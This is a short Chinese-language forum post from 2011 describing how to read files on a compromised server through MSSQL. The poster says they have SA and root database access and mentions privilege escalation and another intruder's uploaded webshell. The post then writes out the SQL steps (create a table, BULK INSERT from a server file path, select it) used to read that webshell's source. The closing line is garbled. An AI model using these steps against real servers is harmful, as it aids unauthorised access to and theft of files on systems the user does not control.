[SQL Server]MSSQL读取文件命令

楼主^#

更多发布于：2011-11-30 12:18


	各种提权包括 mssql：SA mysql：ROOT 主机是星外的可以看到目标目录数据库是ASP的不能插马无奈找了很多人都木有办法。。。今天无聊中查看目录发现有一个高人上传了一个webSHELL 在网上找到了办法发现用MSSQL读取文件的办法现在分享一下 Use www.atcpu.com;–(这里是随便选的一个数据库) 　　drop table cmd; 　　create table cmd (a text); 　　BULK INSERT cmd 　　FROM 'd:/freehos/webshell.cc.asp' 　　WITH ( 　　FIELDTERMINATOR = 'n', 　　ROWTERMINATOR = 'nn' 　　) 　　select * from cmd 　　这样就成功读出了d:/freehos/ www.atcpu.com.asp